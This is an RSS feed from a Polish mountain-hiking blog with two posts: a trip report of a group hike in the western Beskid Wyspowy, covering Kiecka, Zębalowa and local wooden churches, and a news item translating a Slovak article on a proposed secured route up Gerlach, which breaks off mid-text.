<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MarekOwczarz.pl &#8211; blog o turystyce górskiej</title>
	<atom:link href="http://marekowczarz.pl/feed/" rel="self" type="application/rss+xml" />
	<link>https://marekowczarz.pl</link>
	<description>Ten blog ma przybliżyć piękno gór i pokazać zalety wędrowek górskich oraz promować piękno natury.</description>
	<lastBuildDate>Wed, 22 Apr 2026 08:17:37 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Wędrówka z Lubienia do Krzeczowa oraz na Kieckę i Zębalową</title>
		<link>https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/</link>
					<comments>https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Wed, 22 Apr 2026 08:17:37 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Beskid Wyspowy]]></category>
		<category><![CDATA[Opis krajoznawczy]]></category>
		<category><![CDATA[cymbałowa]]></category>
		<category><![CDATA[kiecka]]></category>
		<category><![CDATA[klimas]]></category>
		<category><![CDATA[krzeczów]]></category>
		<category><![CDATA[lubień]]></category>
		<category><![CDATA[zębalowa]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53543</guid>

					<description><![CDATA[<p>Spacer po krańcach Beskidu Wyspowego. Pętla z Lubienia do Krzeczowa i wejście na Kieckę, Klimas oraz Zębalową z ogniskiem grupowym GGG.</p>
The post <a href="https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/">Wędrówka z Lubienia do Krzeczowa oraz na Kieckę i Zębalową</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Nigdy</strong></em> nie byłem na zachodnich krańcach Beskidu Wyspowego, więc tej wiosny postanowiłem to zmienić. Wybrałem się zatem z niezawodną ekipą Gorlickiej Grupy Górskiej na mniej znane i niezbyt wysokie, ale równie atrakcyjne szczyty Kecki i Zębalowej. Niejako przy okazji zrobiliśmy sobie otwarcie nowego sezonu turystycznego dla GGG w postaci tradycyjnego ogniska&#8230; Wycieczka dzięki wspaniałej pogodzie była ze wszech miar udana! Liczna i wesoła ekipa stworzyła niezapomnianą atmosferę&#8230; Ale po kolei 🙂<span id="more-53543"></span></p>
<p>&nbsp;</p>
<div id="attachment_53564" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-55.jpg"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-53564" class="size-large wp-image-53564" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-55-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-55-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-55-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-55.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53564" class="wp-caption-text">GGG na wierzchołku Kiecki</p></div>
<p>Dojechaliśmy przez Limanową i Mszanę Dolną do wsi Lubień, leżącej przy trasie &#8222;Zakopianki&#8221;. Tam na jednym z licznych parkingów w pobliżu kościoła zostawiliśmy samochody. Miejscowość położona jest w&nbsp; w dolinie Raby i Smugawki. Warto zajrzeć do ładnego kościoła parafialnego oraz do usytuowanego nieopodal Skweru Pamięci im bł. ks. Michała Rapacza. Tak właśnie zrobiliśmy przed wyruszeniem na szlak. Najpierw prowadził nas zielony szlak, a potem droga wzdłuż potoku Lubieńka, aż do wioski Tenczyn. Tam ponownie pojawił się znakowany szlak, którym rozpoczęliśmy podejście w kierunku Kiecki</p>
<div id="attachment_53553" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53553" class="size-full wp-image-53553" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-3-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53553" class="wp-caption-text">kościół w Lubieniu</p></div>
<p>Na początku trasy mija się ładną Kaplicę pw. Wniebowstąpienia Pana Jezusa. Potem wznosimy się poprzez malownicze łąki i lasy do koty 525 m. Tam postawiono prowizoryczne miejsce na ognisko. Rozłożyliśmy się zatem tamże na drugie śniadanie, bo wszyscy zgłodnieli&#8230; 🙂 Później czekała nas łagodna wspinaczka skrajem lasu z widokami na <a href="https://marekowczarz.pl/modyn-ostra-i-lopien-oraz-jesienne-kudlacze-czyli-autem-przez-beskid-wyspowy/">Beskid Wyspowy</a> do wsi Krzeczów. Już szosą doszliśmy do &#8222;Pomnika pacyfikacji Krzeczowa&#8221; upamiętniającego wydarzenia z czasów II wojny św. Tam trasa skręca ostro w prawo prowadząc obok przecudnego Kościoła parafialnego pw. św. Wojciecha.</p>
<div id="attachment_53554" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53554" class="size-full wp-image-53554" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-18-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53554" class="wp-caption-text">kościół w Krzeczowie</p></div>
<p>Ten drewniany kościół z przełomu XVI i XVII wieku wraz z otoczeniem prezentuje się nieskazitelnie pięknie! Zbudowany pierwotnie w Łętowni, w roku 1760 przeniesiony na nowe miejsce, jego fundatorem była rodzina Melsztyńskich. W roku 1760 został zakupiony przez dwie mieszkanki Krzeczowa, których imiona &#8211; Jadwiga i Małgorzata &#8211; zostały przechowane w podaniu, według którego obie miały być szwaczkami. Według tej historii, zapisanej w kronice parafialnej, kościół przeniesiony został z odległej o 4 kilometry Łętowni w ciągu półtora dnia, pracowali przy przenoszeniu chłopi z całej okolicy Myślenic, za co w nagrodę objęci zostali przez krakowskiego biskupa Kajetana Sołtyka odpustem zupełnym.</p>
<div id="attachment_53566" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53566" class="size-full wp-image-53566" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-17-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53566" class="wp-caption-text">otoczenie kościoła w Krzeczowie</p></div>
<p>Kościół św. Wojciecha jest budowlą jednonawową, wzniesioną z drewna w konstrukcji zrębowej. Elewacja kościoła jest oszalowana, dach kryty gontem. Wieża posiada konstrukcję słupowo-ramową, dach kryjący nawę i prezbiterium dwuspadowy z sygnaturką. Wnętrze pokrywają polichromie z XVIII wieku, w ołtarzu z XVII w. znajduje się szesnastowieczny obraz Matki Boskiej zwanej Krzeczowską, ponad tym obrazem znajduje się obraz z końca XVII wieku przedstawiający Trójcę Świętą. To prawdziwe dzieło architektoniczne warte zobaczenia&#8230;</p>
<div id="attachment_53556" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-23.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53556" class="size-large wp-image-53556" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-23-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-23-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-23-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-23.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53556" class="wp-caption-text">jedna z wielu kapliczek przykościelnych</p></div>
<p>Przy kościele znajdują się dwie współczesne kapliczki i wybiega droga krzyżowa prowadząca na pobliski wierzchołek Kiecki, który był naszym pierwszym górskim celem. Ale takim nietypowym, bowiem prowadzi na niego droga asfaltowa ze wsi, gdyż rozległy masyw jest zabudowany. Tuż poniżej wierzchołka mierzącego 631 m jest mały parking. Stąd już kilkanaście metrów dzieli nas od zdobycia widocznego z daleka szczytu! Stoi na nim potężny, metalowy krzyż wraz z ołtarzem i patriotycznymi wstawkami. Kończy się tu wiejska droga krzyżowa, postawiono więc kilka ławek dla odpoczynku, z czego skorzystaliśmy. Ale główną atrakcją jest niesamowita panorama&#8230;</p>
<div id="attachment_53557" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53557" class="size-full wp-image-53557" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-35-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53557" class="wp-caption-text">krzyż na szczycie Kiecki</p></div>
<p>Przy dobrej widoczności obejrzymy stąd Masyw <a href="https://marekowczarz.pl/babia-gora-po-slowacku-czyli-diablak-i-cyl-ze-slanej-vody/">Babiogórski</a>, Tatry, Gorce i wiele szczytów Beskidu Wyspowego oraz <a href="https://marekowczarz.pl/wycieczka-na-koskowa-gore-czyli-grzbietami-beskidu-makowskiego-wokol-skomielnej-czarnej/">Makowskiego</a>. Jeśli pogoda sprzyja możemy dojrzeć nawet słowackie góry, z Wielkim Choczem na czele! Zrobiliśmy tutaj dłuższy postój i sesję zdjęciową&#8230; Po długich minutach 🙂 ruszyliśmy dalej w kierunku widocznej doskonale zakopianki&#8230; Musieliśmy ją przekroczyć jednym z mostów dla pieszych, by ponownie znaleźć się na żółtym szlaku, który miał nas prowadzić przez rozłożysty masyw Zębalowej. Widoki górskie spod lasu nadal były wspaniałe&#8230;</p>
<div id="attachment_53558" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53558" class="size-full wp-image-53558" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-32-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53558" class="wp-caption-text">Masyw Babiogórski i pasmo Policy</p></div>
<p>Na skraju lasu spotkaliśmy ładną kapliczkę, by minąwszy ją wejść na drogę leśną, która z biegiem czasu robiła się coraz stromsza, wspinając się na Cymbałową Górę, czyli pierwszą kulminację masywu. Leśna ścieżka była coraz stromsza i dała nam w kość&#8230; 🙂 Ale to było jedyne męczące podejście tego dnia. Wkrótce weszliśmy na główny wierzchołek Zębalowej, który jest nieco z lewej strony szlaku i trzeba zboczyć na dziką dróżkę, by zrobić sobie fotkę przy tablicy szczytowej. Spotkaliśmy tam turystów, którzy palili nawet ognisko&#8230;</p>
<div id="attachment_53559" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-41.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53559" class="size-large wp-image-53559" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-41-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-41-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-41-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-41.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53559" class="wp-caption-text">autor na wierzchołku Zębalowej</p></div>
<p>Kawałek dalej jest krzyżówka szlaków, gdzie stoi tablica informacyjna. Zębalowa to rozległy szczyt mierzący 854 m oraz masyw górski w polskich Beskidach Zachodnich. W nazewnictwie miejscowej ludności góra ma wiele nazw. Mieszkańcy Łętowni nazywają ją Zębolową, mieszkańcy Tokarni – Golcem, zaś mieszkańcy Krzczonowa, Lubnia, Krzeczowa i Tenczyna – Klimasem. Nazwa Zębolowa pochodzi od roli Zębolowej, Golec – od wylesionych niegdyś stoków, a Klimas – prawdopodobnie od dość częstego w Lubniu nazwiska Klimas.</p>
<div id="attachment_53560" style="width: 1210px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53560" class="size-full wp-image-53560" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42.jpg" alt="" width="1200" height="900" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42.jpg 1200w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-42-1080x810.jpg 1080w" sizes="(max-width: 1200px) 100vw, 1200px" /></a><p id="caption-attachment-53560" class="wp-caption-text">tablica informacyjna na krzyżówce szlaków</p></div>
<p>Nazwę zniekształcili kartografowie austriaccy, nazywając główny wierzchołek Zembalową, a jeden z krótkich grzbietów – Cymbałową. Nazwę Klimas przenieśli na zakończenie głównego grzbietu, a Golec na północno-zachodni grzbiet. Popularny przewodnik po Beskidach Władysława Krygowskiego stosował nazwę Zębalowa z wysokością 859 m. Autor zauważał tu, że „Nazwa szczytu wydaje się być przekręceniem nazwy Sobalowa, nawiązującej do nazwiska”. Tyle dywagacji skąd ta dziwna nazwa&#8230; 🙂 Zrobiliśmy sobie przerwę na odpoczynek, ja z kolegą w między czasie weszliśmy jeszcze na drugi wierzchołek góry, leżący nieopodal skrzyżowania.</p>
<div id="attachment_53561" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53561" class="size-full wp-image-53561" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-43-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53561" class="wp-caption-text">panorama z punktu widokowego poniżej Klimasa</p></div>
<p>Potem nastąpiło szybkie i sprawne zejście dalej żółtym szlakiem w stronę Lubnia. Po drodze minęliśmy jeszcze kulminację Klimasa (801 m), poniżej którego rozpościera się niewielka polanka, ale z jakże efektownym widokiem na Beskid Wyspowy. Urządzono tam miejsce na ognisko, są ławy i stoły oraz wiszący grill. Ogólnie miejscówka mega klimatyczna, po prostu wymiata&#8230; 🙂 Tutaj odbyło się nasze ognisko grupowe na rozpoczęcie nowego sezonu! Długie rozmowy przy pieczeniu kiełbaski, wesołe opowieści i śmiech zadowolonych uczestników wypadu na długo pozostanie nam w pamięci!</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-57.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-53562" src="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-57-577x1024.jpg" alt="" width="577" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-57-577x1024.jpg 577w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-57-169x300.jpg 169w, https://marekowczarz.pl/wp-content/uploads/2026/04/wyspowy-57.jpg 676w" sizes="(max-width: 577px) 100vw, 577px" /></a></p>
<p>Po godzinnej sielance i niekończących się żartach wyruszyliśmy w końcu w dół. Kiedyś trzeba było dotrzeć do naszych samochodów. Na skraju lasu napotkaliśmy jeszcze uroczą wiatę turystyczną, gdzie też można by zaplanować ognisko 🙂 Później czekało nas tylko wygodne zejście polną drogą do wsi, gdzie na parkingu czekały auta. Jeszcze wstąpiłem na wspomniany na początku skwer pamięci, by obejrzeć ładne rzeźby i patriotyczne symbole. I mogłem wraz z całą 21- os. grupą wracać do domu&#8230; To była niezapomniana wycieczka i liczę szybko na powtórkę!</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/fesuhenure" width="700" height="466" frameborder="0"></iframe></p>
<p>Na zakończenie jak zawsze zapraszam Was do obejrzenia galerii zdjęć z wędrówki oraz czytania innych wpisów na blogu&#8230; Powyżej zostawiam też mapkę naszej trasy na około 18 km. A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez serwis <a href="https://buycoffee.to/marcogor">Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw kawę dla Marcogor na buycoffee.to"></a></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-53447" src="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png" alt="" width="300" height="300" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-150x150.png 150w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-440x440.png 440w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png 560w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
 [<a href="https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/">See image gallery at marekowczarz.pl</a>] 
<p>&nbsp;</p>The post <a href="https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/">Wędrówka z Lubienia do Krzeczowa oraz na Kieckę i Zębalową</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/wedrowka-z-lubienia-do-krzeczowa-oraz-na-kiecke-i-zebalowa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Gerlach legalnie i bez przewodnika? Jest propozycja i szansa</title>
		<link>https://marekowczarz.pl/gerlach-legalnie-i-bez-przewodnika-jest-propozycja-i-szansa/</link>
					<comments>https://marekowczarz.pl/gerlach-legalnie-i-bez-przewodnika-jest-propozycja-i-szansa/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Wed, 15 Apr 2026 10:38:40 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Górski news]]></category>
		<category><![CDATA[Tatry]]></category>
		<category><![CDATA[gerlach]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53473</guid>

					<description><![CDATA[<p>Pojawiła się poważna propozycja budowy nowego szlaku na najwyższy szczyt Tatr Wysokich- Gerlach. Trwają już rozmowy i napisał ostatnio o tym słowacki dziennik.</p>
The post <a href="https://marekowczarz.pl/gerlach-legalnie-i-bez-przewodnika-jest-propozycja-i-szansa/">Gerlach legalnie i bez przewodnika? Jest propozycja i szansa</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Ostatnio</strong></em> gorącym tematem zrobiła się znowu tematyka Gerlacha, najwyższego szczytu całych Tatr, leżącego po słowackiej stronie Tatr Wysokich. Poważna słowacka gazeta poruszyła ten temat w swoim artykule. Podobno trwają rozmowy już od 2024 roku i przymiarki do rozwiązania problemu ogromnej popularności tego szczytu, dostępnego tylko z przewodnikiem, a więc generującego z tego powodu wiele wejść na dziko&#8230; Pomysł udostepnienia szczytu dla każdego doświadczonego turysty, który czuje się na siłach zdobyć górę indywidualnie, po wcześniejszym ubezpieczeniu nowej trasy uważam za bardzo dobry!<span id="more-53473"></span></p>
<p>Nie będę tutaj rozważał żadnych za i przeciw, tylko po prostu wkleję Wam tłumaczenie ze słowackiego dziennika tego artykułu o tym projekcie, gdyż to bardzo ciekawy górski news 🙂</p>
<p style="text-align: center;">&#8221; Stale rosnące zainteresowanie samodzielnymi wejściami na najwyższe i dominujące szczyty poszczególnych pasm górskich jest wspólnym problemem wielu krajów górskich. Na Słowacji dotyczy to przede wszystkim ikonicznego, najwyższego szczytu Tatr Wysokich — Gerlacha.<br />
Wiele osób, które przyjeżdżają w Tatry, w tym coraz liczniejsi turyści z Polski, chce tam chodzić tak, jak u siebie w domu. Ponieważ po północnej stronie Tatr mogą sami chodzić wszędzie.<br />
To „tylko” ich odpowiedzialność, łącznie z legendarną trasą Orla Perć czy wymagającym szlakiem na Mięguszowiecką Przełęcz pod Chłopkiem. U nas, także z powodu błędnych informacji na polskich mediach społecznościowych, często znajdują się na granicy ryzyka. Jak więc rozwiązać ten problem tak, aby nie przybywało akcji ratunkowych, a przede wszystkim śmiertelnych wypadków?</p>
<div id="attachment_53475" style="width: 670px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a7-bec5-71a7-9461-569974c0b10d.webp"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53475" class="size-full wp-image-53475" src="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a7-bec5-71a7-9461-569974c0b10d.webp" alt="" width="660" height="440" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a7-bec5-71a7-9461-569974c0b10d.webp 660w, https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a7-bec5-71a7-9461-569974c0b10d-300x200.webp 300w" sizes="(max-width: 660px) 100vw, 660px" /></a><p id="caption-attachment-53475" class="wp-caption-text">Pohľad z vrcholu Gerlachu na východ. (zdroj: Juraj Dlábik)</p></div>
<p style="text-align: center;"><strong>Najczęściej odwiedzane szczyty</strong><br />
Według danych z letnich pomiarów ruchu turystycznego, latem zdecydowanie najczęściej odwiedzanym szczytem Tatr Wysokich są Rysy — około 2000 osób dziennie od strony Słowacji i Polski, przy czym wielu z nich z powodu korków nawet nie dociera na sam wierzchołek.<br />
Dalej plasuje się najłatwiej dostępny Krywań z około 750 osobami dziennie na szczycie oraz Łomnica z około 250 odwiedzającymi. Większość z nich przy dobrej pogodzie dostaje się tam kolejką gondolową. Chodzi o 190–200 osób, łącznie z tymi, którzy pracują na szczycie. Inni wchodzą tam z przewodnikami wysokogórskimi albo także solo po zabezpieczeniach, które znajdują się tam ze względów bezpieczeństwa osób pracujących na szczycie w razie pogorszenia pogody.</p>
<p style="text-align: center;"><strong>Jak wygląda sytuacja na Gerlachu?</strong><br />
Nie prowadzi się tam liczenia odwiedzających, brakuje nam dokładnych danych. Tymczasem ta góra przyciąga ludzi jak magnes i cieszy się największym zainteresowaniem.<br />
Przyciąga wielu Słowaków i Czechów, ale przede wszystkim Polaków i Węgrów, którzy często kierują się różnymi ryzykownymi instrukcjami wejścia. Wszystkie głupoty z mediów społecznościowych można by wyeliminować, gdyby na górę i z powrotem prowadziła niezawodna, zabezpieczona trasa.<br />
Wraz z nowym regulaminem odwiedzin Tatr Wysokich kończy się półwieczna historia turystycznych wejść poza znakowanymi szlakami wyłącznie za pieniądze. To zasadnicza zmiana, która pomaga otworzyć Tatry dla wszystkich. Zarządzanie wejściem realizowane według tej propozycji mogłoby wypromować Słowację na świecie.</p>
<div id="attachment_53476" style="width: 670px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a9-6322-7b84-a853-08609a99c6e7.webp"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53476" class="size-full wp-image-53476" src="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a9-6322-7b84-a853-08609a99c6e7.webp" alt="" width="660" height="440" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a9-6322-7b84-a853-08609a99c6e7.webp 660w, https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5a9-6322-7b84-a853-08609a99c6e7-300x200.webp 300w" sizes="(max-width: 660px) 100vw, 660px" /></a><p id="caption-attachment-53476" class="wp-caption-text">Najznámejším vrcholom Európy je Matterhorn. (zdroj: Martin Murár)</p></div>
<p style="text-align: center;"><strong>Góry w Europie i na Słowacji</strong><br />
Elbrus, Mont Blanc, Olimp, Galdhøpiggen, Triglav, Grossglockner, Monte Rosa, Matterhorn, Gran Paradiso, Mulhacén, Pico de Teide&#8230; Najwyższe albo dominujące szczyty różnych krajów Europy.<br />
Na wszystkie wymienione, a także na tysiące innych, można wejść bezpłatnie i nie potrzeba do tego ani członkostwa w jakimś klubie czy organizacji. Tak jest nie tylko w państwach Europy, ale i poza nią.</p>
<p style="text-align: center;"><strong>Jedynym wyjątkiem w Europie jest Słowacja.</strong><br />
Najbardziej znanym szczytem Europy jest Matterhorn. Klasyczne wejście granią Hörnli (po lewej) ma trudność III w sześciostopniowej klasycznej skali wspinaczkowej. (źródło: Martin Murár)<br />
